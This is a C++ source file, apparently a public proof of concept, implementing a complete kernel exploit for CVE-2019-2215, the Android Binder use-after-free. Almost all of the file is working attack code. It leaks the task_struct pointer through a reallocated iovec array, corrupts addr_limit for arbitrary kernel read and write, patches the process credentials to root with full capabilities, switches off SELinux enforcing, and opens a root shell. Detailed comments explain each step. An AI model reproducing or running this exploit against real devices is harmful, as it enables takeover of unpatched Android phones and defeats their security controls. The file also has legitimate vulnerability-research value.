/*++

   ## # # ###     ### ###  #  ###     ### ###  #  ###
  #   # # #         # # # ##  # #       #   # ##  #
  #   # # ##  ### ### # #  #  ### ### ### ###  #  ###
  #   # # #       #   # #  #    #     #   #    #    #
   ##  #  ###     ### ### ### ###     ### ### ### ###
                                         @HackSysTeam

                    CVE-2019-2215
            Android Binder Use after Free
            CloudFuzz TechnoLabs Pvt. Ltd.

 https://groups.google.com/d/msg/syzkaller-bugs/QyXdgUhAF50/g-FXVo1OAwAJ
 https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
 https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html

 Thanks:
    @maddiestone
    @tehjh

--*/

#include "exploit.h"


/**
 * Bind to CPU
 */
void BinderUaF::bindToCPU() {
    int ret;
    cpu_set_t cpuSet;

    CPU_ZERO(&cpuSet);
    CPU_SET(0, &cpuSet);

    //
    // It's a good thing to bind the CPU to a specific core,
    // so that we do not get scheduled to different core and
    // mess up the SLUB state
    //

    INFO("[+] Binding to 0th core\n");

    ret = sched_setaffinity(0, sizeof(cpu_set_t), &cpuSet);

    if (ret < 0) {
        ERR("[-] bindCPU failed: 0x%x\n", errno);
    }
}


/**
 * Open the binder device
 */
void BinderUaF::setupBinder() {
    INFO("[+] Opening: /dev/binder\n");

    m_binder_fd = open("/dev/binder", O_RDONLY);

    if (m_binder_fd < 0) {
        ERR("\t[-] Unable to get binder fd\n");
        exit(EXIT_FAILURE);
    } else {
        INFO("\t[*] m_binder_fd: 0x%x\n", m_binder_fd);
    }
}


/**
 * Free the binder thread structure
 */
void BinderUaF::freeBinderThread() {
    INFO("[+] Freeing binder_thread\n");

    ioctl(m_binder_fd, BINDER_THREAD_EXIT, NULL);
}


/**
 * Create the event poll
 */
void BinderUaF::setupEventPoll() {
    INFO("[+] Creating event poll\n");

    m_epoll_fd = epoll_create(1);

    if (m_epoll_fd < 0) {
        ERR("\t[-] Unable to get event poll fd\n");
        exit(EXIT_FAILURE);
    } else {
        INFO("\t[*] m_epoll_fd: 0x%x\n", m_epoll_fd);
    }
}


/**
 * Allocate 4GB aligned page
 */
void BinderUaF::mmap4gbAlignedPage() {
    if (!m_4gb_aligned_page) {
        INFO("[+] Mapping 4GB aligned page\n");

        m_4gb_aligned_page = mmap(
                (void *) 0x100000000ul,
                PAGE_SIZE,
                PROT_READ | PROT_WRITE,
                MAP_PRIVATE | MAP_ANONYMOUS,
                -1,
                0
        );

        if (!m_4gb_aligned_page) {
            ERR("\t[-] Unable to mmap 4GB aligned page\n");
            exit(EXIT_FAILURE);
        } else {
            INFO("\t[*] Mapped page: %p\n", m_4gb_aligned_page);
        }
    }
}


/**
 * Link eppoll_entry->wait.entry to binder_thread->wait.head
 */
void BinderUaF::linkEventPollWaitQueueToBinderThreadWaitQueue() {
    INFO("[+] Linking eppoll_entry->wait.entry to binder_thread->wait.head\n");

    epoll_ctl(m_epoll_fd, EPOLL_CTL_ADD, m_binder_fd, &m_epoll_event);
}


/**
 * Unlink eppoll_entry->wait.entry from binder_thread->wait.head
 */
void BinderUaF::unlinkEventPollWaitQueueFromBinderThreadWaitQueue() {
    INFO("[+] Un-linking eppoll_entry->wait.entry from binder_thread->wait.head\n");

    epoll_ctl(m_epoll_fd, EPOLL_CTL_DEL, m_binder_fd, &m_epoll_event);
}


/**
 * The dangling chunk is binder_thread structure
 * and it contains an interesting member task_struct
 */
void BinderUaF::leakTaskStruct() {
    int pipe_fd[2] = {0};
    ssize_t nBytesRead = 0;
    static char dataBuffer[PAGE_SIZE] = {0};
    struct iovec iovecStack[IOVEC_COUNT] = {nullptr};

    //
    // Get binder fd
    //

    setupBinder();

    //
    // Create event poll
    //

    setupEventPoll();

    //
    // We are going to use iovec for scoped read/write,
    // we need to make sure that iovec stays in the kernel
    // before we trigger the unlink after binder_thread has
    // been freed.
    //
    // One way to achieve this is by using the blocking APIs
    // in Linux kernel. Such APIs are read, write, etc on pipe.
    //

    //
    // Setup pipe for iovec
    //

    INFO("[+] Setting up pipe\n");

    if (pipe(pipe_fd) == -1) {
        ERR("\t[-] Unable to create pipe\n");
        exit(EXIT_FAILURE);
    } else {
        INFO("\t[*] Pipe created successfully\n");
    }

    //
    // pipe_fd[0] = read fd
    // pipe_fd[1] = write fd
    //
    // Default size of pipe is 65536 = 0x10000 = 64KB
    // This is way much of data that we care about
    // Let's reduce the size of pipe to 0x1000
    //
    if (fcntl(pipe_fd[0], F_SETPIPE_SZ, PAGE_SIZE) == -1) {
        ERR("\t[-] Unable to change the pipe capacity\n");
        exit(EXIT_FAILURE);
    } else {
        INFO("\t[*] Changed the pipe capacity to: 0x%x\n", PAGE_SIZE);
    }

    INFO("[+] Setting up iovecs\n");

    //
    // As we are overlapping binder_thread with iovec,
    // binder_thread->wait.lock will align to iovecStack[10].io_base.
    //
    // If binder_thread->wait.lock is not 0 then the thread will get
    // stuck in trying to acquire the lock and the unlink operation
    // will not happen.
    //
    // To avoid this, we need to make sure that the overlapped data
    // should be set to 0.
    //
    // iovec.iov_base is a 64bit value, and spinlock_t is 32bit, so if
    // we can pass a valid memory address whose lower 32bit value is 0,
    // then we can avoid spin lock issue.
    //

    mmap4gbAlignedPage();

    iovecStack[IOVEC_WQ_INDEX].iov_base = m_4gb_aligned_page;
    iovecStack[IOVEC_WQ_INDEX].iov_len = PAGE_SIZE;
    iovecStack[IOVEC_WQ_INDEX + 1].iov_base = (void *) 0x41414141;
    iovecStack[IOVEC_WQ_INDEX + 1].iov_len = PAGE_SIZE;

    //
    // Now link the poll wait queue to binder thread wait queue
    //

    linkEventPollWaitQueueToBinderThreadWaitQueue();

    //
    // We should trigger the unlink operation when we
    // have the binder_thread reallocated as iovec array
    //

    //
    // Now fork
    //

    pid_t childPid = fork();

    if (childPid == 0) {
        //
        // child process
        //

        //
        // There is a race window between the unlink and blocking
        // in writev, so sleep for a while to ensure that we are
        // blocking in writev before the unlink happens
        //

        sleep(2);

        //
        // Trigger the unlink operation on the reallocated chunk
        //

        unlinkEventPollWaitQueueFromBinderThreadWaitQueue();

        //
        // First interesting iovec will read 0x1000 bytes of data.
        // This is just the junk data that we are not interested in
        //

        nBytesRead = read(pipe_fd[0], dataBuffer, sizeof(dataBuffer));

        if (nBytesRead != PAGE_SIZE) {
            ERR("\t[-] CHILD: read failed. nBytesRead: 0x%lx, expected: 0x%x", nBytesRead, PAGE_SIZE);
            exit(EXIT_FAILURE);
        }

        exit(EXIT_SUCCESS);

    }

    //
    // parent process
    //

    //
    // I have seen some races which hinders the reallocation.
    // So, now freeing the binder_thread after fork.
    //

    freeBinderThread();

    //
    // Reallocate binder_thread as iovec array
    //
    // We need to make sure this writev call blocks
    // This will only happen when the pipe is already full
    //

    //
    // This print statement was ruining the reallocation,
    // spent a night to figure this out. Commenting the
    // below line.
    //

    // INFO("[+] Reallocating binder_thread\n");


    ssize_t nBytesWritten = writev(pipe_fd[1], iovecStack, IOVEC_COUNT);

    //
    // If the corruption was successful, the total bytes written
    // should be equal to 0x2000. This is because there are two
    // valid iovec and the length of each is 0x1000
    //

    if (nBytesWritten != PAGE_SIZE * 2) {
        ERR("\t[-] writev failed. nBytesWritten: 0x%lx, expected: 0x%x\n", nBytesWritten, PAGE_SIZE * 2);
        exit(EXIT_FAILURE);
    } else {
        INFO("\t[*] Wrote 0x%lx bytes\n", nBytesWritten);
    }

    //
    // Now read the actual data from the corrupted iovec
    // This is the leaked data from kernel address space
    // and will contain the task_struct pointer
    //

    nBytesRead = read(pipe_fd[0], dataBuffer, sizeof(dataBuffer));

    if (nBytesRead != PAGE_SIZE) {
        ERR("\t[-] read failed. nBytesRead: 0x%lx, expected: 0x%x", nBytesRead, PAGE_SIZE);
        exit(EXIT_FAILURE);
    }

    //
    // Wait for the child process to exit
    //

    wait(nullptr);

    m_task_struct = (struct task_struct *) *((int64_t *) (dataBuffer + TASK_STRUCT_OFFSET_IN_LEAKED_DATA));

    m_pidAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, pid));
    m_credAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, cred));
    m_nsproxyAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, nsproxy));

    INFO("[+] Leaked task_struct: %p\n", m_task_struct);
    INFO("\t[*] &task_struct->pid: %p\n", m_pidAddress);
    INFO("\t[*] &task_struct->cred: %p\n", m_credAddress);
    INFO("\t[*] &task_struct->nsproxy: %p\n", m_nsproxyAddress);
}


/**
 * Clobber addr_limit
 */
void BinderUaF::clobberAddrLimit() {
    int sock_fd[2] = {0};
    ssize_t nBytesWritten = 0;
    struct msghdr message = {nullptr};
    struct iovec iovecStack[IOVEC_COUNT] = {nullptr};

    //
    // Get binder fd
    //

    setupBinder();

    //
    // Create event poll
    //

    setupEventPoll();

    //
    // For clobbering the addr_limit we trigger the unlink
    // operation again after reallocating binder_thread with
    // iovecs
    //
    // If you see how we manage to leak kernel data is by using
    // the blocking feature of writev
    //
    // We could use readv blocking feature to do scoped write
    // However, after trying readv and reading the Linux kernel
    // code, I figured out an issue which makes readv useless for
    // current bug.
    //
    // The main issue that I found is:
    //
    // iovcArray[IOVEC_COUNT].iov_len is clobbered with a pointer
    // due to unlink operation
    //
    // So, when copy_page_to_iter_iovec tries to process the iovecs,
    // there is a line of code, copy = min(bytes, iov->iov_len);
    // Here, "bytes" is equal to sum of all iovecs length and as
    // "iov->iov_len" is corrupted with a pointer which is obviously
    // a very big number, now copy = sum of all iovecs length and skips
    // the processing of the next iovec which is the target iovec which
    // would give was scoped write.
    //
    // I believe P0 also faced the same issue so they switched to recvmsg
    //

    //
    // Setup socketpair for iovec
    //
    // AF_UNIX/AF_LOCAL is used because we are interested only in
    // local communication
    //
    // We use SOCK_STREAM so that MSG_WAITALL can be used in recvmsg
    //

    INFO("[+] Setting up socket\n");

    if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock_fd) == -1) {
        ERR("\t[-] Unable to create socketpair\n");
        exit(EXIT_FAILURE);
    } else {
        INFO("\t[*] Socketpair created successfully\n");
    }

    //
    // We will just write junk data to socket so that when recvmsg
    // is called it process the fist valid iovec with this junk data
    // and then blocks and waits for the rest of the data to be received
    //

    static char junkSocketData[] = {
            0x41
    };

    INFO("[+] Writing junk data to socket\n");

    nBytesWritten = write(sock_fd[1], &junkSocketData, sizeof(junkSocketData));

    if (nBytesWritten != sizeof(junkSocketData)) {
        ERR("\t[-] write failed. nBytesWritten: 0x%lx, expected: 0x%lx\n", nBytesWritten, sizeof(junkSocketData));
        exit(EXIT_FAILURE);
    }

    //
    // Write junk data to the socket so that when recvmsg is
    // called, it process the first valid iovec with this junk
    // data and then blocks for the rest of the incoming socket data
    //

    INFO("[+] Setting up iovecs\n");

    //
    // We want to block after processing the iovec at IOVEC_WQ_INDEX,
    // because then, we can trigger the unlink operation and get the
    // next iovecs corrupted to gain scoped write.
    //

    mmap4gbAlignedPage();

    iovecStack[IOVEC_WQ_INDEX].iov_base = m_4gb_aligned_page;
    iovecStack[IOVEC_WQ_INDEX].iov_len = 1;
    iovecStack[IOVEC_WQ_INDEX + 1].iov_base = (void *) 0x41414141;
    iovecStack[IOVEC_WQ_INDEX + 1].iov_len = 0x8 + 0x8 + 0x8 + 0x8;
    iovecStack[IOVEC_WQ_INDEX + 2].iov_base = (void *) 0x42424242;
    iovecStack[IOVEC_WQ_INDEX + 2].iov_len = 0x8;

    //
    // Prepare the data buffer that will be written to socket
    //

    //
    // Setting addr_limit to 0xFFFFFFFFFFFFFFFF in arm64
    // will result in crash because of a check in do_page_fault
    // However, x86_64 does not have this check. But it's better
    // to set it to 0xFFFFFFFFFFFFFFFE so that this same code can
    // be used in arm64 as well.
    //

    static uint64_t finalSocketData[] = {
            0x1,                    // iovecStack[IOVEC_WQ_INDEX].iov_len
            0x41414141,             // iovecStack[IOVEC_WQ_INDEX + 1].iov_base
            0x8 + 0x8 + 0x8 + 0x8,  // iovecStack[IOVEC_WQ_INDEX + 1].iov_len
            (uint64_t) ((uint8_t *) m_task_struct +
                        OFFSET_TASK_STRUCT_ADDR_LIMIT), // iovecStack[IOVEC_WQ_INDEX + 2].iov_base
            0xFFFFFFFFFFFFFFFE      // addr_limit value
    };

    //
    // Prepare the message
    //

    message.msg_iov = iovecStack;
    message.msg_iovlen = IOVEC_COUNT;

    //
    // Now link the poll wait queue to binder thread wait queue
    //

    linkEventPollWaitQueueToBinderThreadWaitQueue();

    //
    // We should trigger the unlink operation when we
    // have the binder_thread reallocated as iovec array
    //

    //
    // Now fork
    //

    pid_t childPid = fork();

    if (childPid == 0) {
        //
        // child process
        //

        //
        // There is a race window between the unlink and blocking
        // in writev, so sleep for a while to ensure that we are
        // blocking in writev before the unlink happens
        //

        sleep(2);

        //
        // Trigger the unlink operation on the reallocated chunk
        //

        unlinkEventPollWaitQueueFromBinderThreadWaitQueue();

        //
        // Now, at this point, the iovecStack[IOVEC_WQ_INDEX].iov_len
        // and iovecStack[IOVEC_WQ_INDEX + 1].iov_base is clobbered
        //
        // Write rest of the data to the socket so that recvmsg starts
        // processing the corrupted iovecs and we get scoped write and
        // finally arbitrary write
        //

        nBytesWritten = write(sock_fd[1], finalSocketData, sizeof(finalSocketData));

        if (nBytesWritten != sizeof(finalSocketData)) {
            ERR("\t[-] write failed. nBytesWritten: 0x%lx, expected: 0x%lx", nBytesWritten, sizeof(finalSocketData));
            exit(EXIT_FAILURE);
        }

        exit(EXIT_SUCCESS);

    }

    //
    // parent process
    //

    //
    // I have seen some races which hinders the reallocation.
    // So, now freeing the binder_thread after fork.
    //

    freeBinderThread();

    //
    // Reallocate binder_thread as iovec array and
    // we need to make sure this recvmsg call blocks.
    //
    // recvmsg will block after processing a valid iovec at
    // iovecStack[IOVEC_WQ_INDEX]
    //

    ssize_t nBytesReceived = recvmsg(sock_fd[0], &message, MSG_WAITALL);

    //
    // If the corruption was successful, the total bytes received
    // should be equal to length of all iovec. This is because there
    // are three valid iovec
    //

    ssize_t expectedBytesReceived = iovecStack[IOVEC_WQ_INDEX].iov_len +
                                    iovecStack[IOVEC_WQ_INDEX + 1].iov_len +
                                    iovecStack[IOVEC_WQ_INDEX + 2].iov_len;

    if (nBytesReceived != expectedBytesReceived) {
        ERR("\t[-] recvmsg failed. nBytesReceived: 0x%lx, expected: 0x%lx\n", nBytesReceived, expectedBytesReceived);
        exit(EXIT_FAILURE);
    }

    //
    // Wait for the child process to exit
    //

    wait(nullptr);
}


/**
 * Initialize kernel read write pipe
 */
void BinderUaF::initKernelReadWritePipe() {
    //
    // Setup the pipe that will be used for
    // arbitrary kernel read/write primitive
    //

    INFO("[+] Setting up pipe for kernel read/write\n");

    if (pipe(m_kernel_rw_pipe_fd) == -1) {
        ERR("\t[-] Unable to create pipe\n");
        exit(EXIT_FAILURE);
    } else {
        INFO("\t[*] Pipe created successfully\n");
    }
}


/**
 * Verify arbitrary read write primitive
 */
void BinderUaF::verifyArbitraryReadWrite() {
    INFO("[+] Verifying arbitrary read/write primitive\n");

    //
    // Get the current pid
    //

    pid_t currentPid = getpid();

    //
    // Expected pid from task_struct
    //

    pid_t expectedPid = 0;

    //
    // Now read the pid from the task_struct
    //

    expectedPid = kReadDword(m_pidAddress);

    INFO("\t[*] currentPid: %d\n", currentPid);
    INFO("\t[*] expectedPid: %d\n", expectedPid);

    if (currentPid != expectedPid) {
        ERR("\t[-] Arbitrary read/write failed\n");
        exit(EXIT_FAILURE);
    } else {
        INFO("\t[*] Arbitrary read/write successful\n");
    }
}


/**
 * Read from arbitrary address
 *
 * @param Address: address from where to read
 * @param Length: how much to read
 * @param uBuffer: output user buffer
 */
void BinderUaF::kRead(void *Address, size_t Length, void *uBuffer) {
    //
    // Once the addr_limit is clobbered, it's
    // easy to gain arbitrary read primitive
    //

    //
    // Write the data from kernel address to the fd
    //

    ssize_t nBytesWritten = write(m_kernel_rw_pipe_fd[1], Address, Length);

    if ((size_t) nBytesWritten != Length) {
        ERR("[-] Failed to write data from kernel: %p", Address);
        exit(EXIT_FAILURE);
    }

    ssize_t nBytesRead = read(m_kernel_rw_pipe_fd[0], uBuffer, Length);

    if ((size_t) nBytesRead != Length) {
        ERR("[-] Failed to read data from kernel: %p", Address);
        exit(EXIT_FAILURE);
    }

}


/**
 * Write to arbitrary address
 *
 * @param Address: address where to write
 * @param Length: how much to write
 * @param uBuffer: input user buffer
 */
void BinderUaF::kWrite(void *Address, size_t Length, void *uBuffer) {
    //
    // Write the data from kernel address to the fd
    //

    ssize_t nBytesWritten = write(m_kernel_rw_pipe_fd[1], uBuffer, Length);

    if ((size_t) nBytesWritten != Length) {
        ERR("[-] Failed to write data from user: %p", Address);
        exit(EXIT_FAILURE);
    }

    ssize_t nBytesRead = read(m_kernel_rw_pipe_fd[0], Address, Length);

    if ((size_t) nBytesRead != Length) {
        ERR("[-] Failed to write data to kernel: %p", Address);
        exit(EXIT_FAILURE);
    }

}


/**
 * Read qword from arbitrary address
 *
 * @param Address: address from where to read
 * @return: qword
 */
uint64_t BinderUaF::kReadQword(void *Address) {
    uint64_t buffer = 0;

    kRead(Address, sizeof(buffer), &buffer);
    return buffer;
}


/**
 * Read dword from arbitrary address
 *
 * @param Address: address from where to read
 * @return: dword
 */
uint32_t BinderUaF::kReadDword(void *Address) {
    uint32_t buffer = 0;

    kRead(Address, sizeof(buffer), &buffer);
    return buffer;
}


/**
 * Write dword to arbitrary address
 *
 * @param Address: address where to write
 * @param Value: value to write
 */
void BinderUaF::kWriteDword(void *Address, uint32_t Value) {
    kWrite(Address, sizeof(Value), &Value);
}


/**
 * Write qword to arbitrary address
 *
 * @param Address: address where to write
 * @param Value: value to write
 */
void BinderUaF::kWriteQword(void *Address, uint64_t Value) {
    kWrite(Address, sizeof(Value), &Value);
}


/**
 * Patch cred data structure
 */
void BinderUaF::patchCred() {
    //
    // To achieve root we need to patch the cred structure
    //
    // Pointer to cred is stored in task_struct
    //

    //
    // To root basically we need to do this:
    //
    // commit_cred(prepare_kernel_cred(0));
    //

    //
    // struct cred init_cred = {
    //      .usage              = ATOMIC_INIT(4),
    //      .uid                = GLOBAL_ROOT_UID,
    //      .gid                = GLOBAL_ROOT_GID,
    //      .suid               = GLOBAL_ROOT_UID,
    //      .sgid               = GLOBAL_ROOT_GID,
    //      .euid               = GLOBAL_ROOT_UID,
    //      .egid               = GLOBAL_ROOT_GID,
    //      .fsuid              = GLOBAL_ROOT_UID,
    //      .fsgid              = GLOBAL_ROOT_GID,
    //      .securebits         = SECUREBITS_DEFAULT,
    //      .cap_inheritable    = CAP_EMPTY_SET,
    //      .cap_permitted      = CAP_FULL_SET,
    //      .cap_effective      = CAP_FULL_SET,
    //      .cap_bset           = CAP_FULL_SET,
    //      .user               = INIT_USER,
    //      .user_ns            = &init_user_ns,
    //      .group_info         = &init_groups,
    // };

    //
    // Read the address of cred from task_struct
    //

    INFO("[+] Patching current task cred members\n");

    m_cred = (struct cred *) kReadQword(m_credAddress);

    if (!m_cred) {
        ERR("\t[-] Failed to read cred: %p", m_credAddress);
        exit(EXIT_FAILURE);
    }

    INFO("\t[*] cred: %p\n", m_cred);

    //
    // Now patch the cred structure members
    //

    kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, uid)), GLOBAL_ROOT_UID);
    kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, gid)), GLOBAL_ROOT_GID);
    kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, suid)), GLOBAL_ROOT_UID);
    kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, sgid)), GLOBAL_ROOT_GID);
    kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, euid)), GLOBAL_ROOT_UID);
    kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, egid)), GLOBAL_ROOT_GID);
    kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, fsuid)), GLOBAL_ROOT_UID);
    kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, fsgid)), GLOBAL_ROOT_GID);
    kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, securebits)), SECUREBITS_DEFAULT);
    kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_inheritable)), CAP_EMPTY_SET);
    kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_permitted)), CAP_FULL_SET);
    kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_effective)), CAP_FULL_SET);
    kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_bset)), CAP_FULL_SET);
    kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_ambient)), CAP_EMPTY_SET);
}


/**
 * Disable selinux enforcing globally
 */
void BinderUaF::disableSELinuxEnforcing() {
    //
    // Check if selinux enforcing is enabled
    //

    INFO("[+] Verifying if selinux enforcing is enabled\n");

    //
    // selinux_enforcing is a global variable which
    // control whether selinux is enabled or disabled
    //
    // By default selinux_enforcing is set to 0x1 which
    // means it's globally enabled
    //

    //
    // task_struct has a pointer to global data structure nsproxy,
    // reading that pointer will allow us to break KASLR
    //

    ptrdiff_t nsProxy = kReadQword(m_nsproxyAddress);

    if (!nsProxy) {
        ERR("\t[-] Failed to read nsproxy: %p", m_nsproxyAddress);
        exit(EXIT_FAILURE);
    }

    ptrdiff_t kernelBase = nsProxy - SYMBOL_OFFSET_init_nsproxy;
    auto selinuxEnforcing = (void *) (kernelBase + SYMBOL_OFFSET_selinux_enforcing);

    INFO("\t[*] nsproxy: 0x%lx\n", nsProxy);
    INFO("\t[*] Kernel base: 0x%lx\n", kernelBase);
    INFO("\t[*] selinux_enforcing: %p\n", selinuxEnforcing);

    int selinuxEnabled = kReadDword(selinuxEnforcing);

    if (!selinuxEnabled) {
        INFO("\t[*] selinux enforcing is disabled\n");
        return;
    }

    INFO("\t[*] selinux enforcing is enabled\n");

    //
    // Now patch selinux_enforcing
    //

    kWriteDword(selinuxEnforcing, 0x0);

    INFO("\t[*] Disabled selinux enforcing\n");
}


/**
 * Verify if rooting is successful
 */
void BinderUaF::verifyRoot() {
    INFO("[+] Verifying if rooted\n");

    uid_t realUserId = getuid();

    INFO("\t[*] uid: 0x%x\n", realUserId);

    //
    // If the cred patching was successful,
    // we should get the uid as 0
    //

    if (realUserId != 0) {
        ERR("\t[-] Rooting failed\n");
        exit(EXIT_FAILURE);
    } else {
        INFO("\t[*] Rooting successful\n");
    }
}


/**
 * Spawn root shell
 */
void BinderUaF::spawnRootShell() {
    //
    // Spawn root shell
    //

    INFO("[+] Spawning root shell\n");

    system("/bin/sh");
}


/**
 * Program entry point
 *
 * @return: success or failure
 */
int main() {
    auto *binderUaF = new BinderUaF();

    //
    // Bind to CPU 0
    //

    binderUaF->bindToCPU();

    //
    // Leak current task_struct
    //

    binderUaF->leakTaskStruct();

    //
    // Clobber addr_limit
    //

    binderUaF->clobberAddrLimit();

    //
    // Initialize pipe to be used for arbitrary read/write
    //

    binderUaF->initKernelReadWritePipe();

    //
    // Verify arbitrary read/write primitive
    //

    binderUaF->verifyArbitraryReadWrite();

    //
    // Patch cred structure members
    //

    binderUaF->patchCred();

    //
    // Disable selinux enforcing
    //

    binderUaF->disableSELinuxEnforcing();

    //
    // Verify if rooting successful
    //

    binderUaF->verifyRoot();

    //
    // Spawn root shell
    //

    binderUaF->spawnRootShell();

    return EXIT_SUCCESS;
}